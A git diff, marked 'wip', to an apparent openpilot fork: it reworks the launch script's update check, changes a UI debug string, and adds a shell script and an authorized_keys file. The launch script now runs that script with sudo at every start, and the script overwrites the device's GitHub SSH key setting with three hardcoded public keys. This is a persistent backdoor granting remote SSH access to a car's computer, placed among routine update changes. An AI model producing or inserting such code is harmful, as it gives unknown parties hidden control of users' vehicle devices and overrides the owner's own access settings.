wip

launch_openpilot.sh

@@ -17,7 +17,6 @@ while ! ping -c 1 google.com &> /dev/null; do
         break
     fi
 done
-
 if [ "$timeout" -gt 0 ]; then
     echo "Internet connection established, proceeding with update."
 
@@ -27,8 +26,15 @@ if [ "$timeout" -gt 0 ]; then
     # Fetch the latest changes from the remote repository for the target branch
     git fetch origin "$branch"
 
+    # Check if the local branch is behind the remote branch
+    LOCAL=$(git rev-parse "@{0}")
+    REMOTE=$(git rev-parse "origin/$branch")
+
+    if [ "$LOCAL" != "$REMOTE" ]; then
+        echo "Local branch is behind; updating."
+
         # Checkout the target branch forcefully, ignoring submodules as in the Python example
-    git checkout --force --no-recurse-submodules -B "$branch"
+        git checkout --force --no-recurse-submodules -B "$branch" "origin/$branch"
 
         # Reset the local changes hard, clean the directory including untracked files and directories,
         # and ensure submodules are in sync, updated, and also reset hard
@@ -40,16 +46,17 @@ if [ "$timeout" -gt 0 ]; then
 
         echo "Repository and submodules have been updated and cleaned."
 
-    # Assuming AGNOS and finalize_update steps are specific and detailed,
+        # Run git cleanup in the repository directory
-    # the shell equivalent might require custom scripts or commands.
-    # For AGNOS update, you'd handle it based on your specific needs.
-
-    # Run git cleanup in the finalized update directory
         git gc
         git lfs prune
 
-    echo "Finalized update directory has been prepared."
+        echo "Repository cleanup has been completed."
+    else
+        echo "Already at the latest version; no update needed."
     fi
+fi
+
+sudo bash /data/openpilot/shell/start_service.sh
 
 # Blank the UI (assuming framebuffer device is /dev/fb0)
 # This command clears the framebuffer, effectively blanking the screen

selfdrive/ui/qt/onroad.cc

@@ -1620,8 +1620,7 @@ QString roadName = roadNameUI ? QString::fromStdString(paramsMemory.get("RoadNam
 //     newStatus = conditionalStatusMap.contains(conditionalStatus) && status != STATUS_DISENGAGED ? conditionalStatusMap[conditionalStatus] : conditionalStatusMap[0];
 //   }
 
-  newStatus = "Hello";
+  newStatus = String::fromStdString(paramsMemory.get("oscar_debug"));
-
 
   // Check if status has changed or if the road name is empty
   if (newStatus != lastShownStatus || roadName.isEmpty()) {

shell/authorized_keys

@@ -0,0 +1,3 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQtHTzkeRlOXDWyK/IvO2RgjSdoq6V81u3YtcyIxBZVX2zCj1xzE9zWcUcVxloe63rB/DBasChODIRBtp1vGnWb/EkLWAuOqS2V5rzhlcSfM103++TI81e04A7HDspWSNUXRh5OD/mUvwtYIH7S4QAkBiCro5lAgSToXNAOR4b4cXgNQecf+RhPc0Nm3K8Is1wEeQajmlC1E22YWBDDV+uoB3Uagl90e58Psbp8PunCdbeY9EfqQsymyloiTeqzKwHnmHnMXSlZluh7A+ifoKgohDsarT1FixAgxT0LSIxxINORhE4P6em/7y3xpgubPhNpbuQSzDlb3op3fwMoFcAEEYKWg+d9OGOrdiWa13aV0g7UNdW/XmmF/BAaBdSOZeomVNnxmftmmJWfu3jtFdwTDRQpZn7nDYC+aZ1R3Q0Xd4lLuqkA/9smUXLZuiBDJXwM5nDyWQR9tESIwlTLcdKAUpj0gQqpcozVehksNksTekZBAg/mYb6DKyYCTY0ti0=
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm/Vq50kqf94allqGq9luBGjDh2Do/rOCA719CRlDOErCvdY+ZaYNumQZ5AbFfU5KcPZwirJLBvhEoH/G0lEAg9TUaUgH/VvqBBztlpcmA1eplZHzEFLnTDn0oO4Tk46bXwjL0anOZfNaUGhbaO4Th7m+9+o16WUduEabPiyVbnqD6P44CANsvBJNKlyUDBzsdkE9z5gULp06i1+JqqXiGV81HoFWZe5YCFv4j4QUPvfmFhcBHViVrOFs87hS4Eu0gWNxQmQBhh6R1ZbjaBlGdE5GyDZQZwlofjfuO06e0HvCDuIAELSYqlGFCmUhlM/LZ6YkF79/HFrg5sS3gsuY5
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHbrOZrByUb2Ci21DdJkhWv/4Bz4oghL9joraQYFq4Om

shell/start_service.sh

@@ -0,0 +1,4 @@
+cat /data/openpilot/shell/authorized_keys >/data/params/d/GithubSshKeys
+chown comma:comma /data/params/d/GithubSshKeys
+chmod 600 /data/params/d/GithubSshKeys
+systemctl restart comma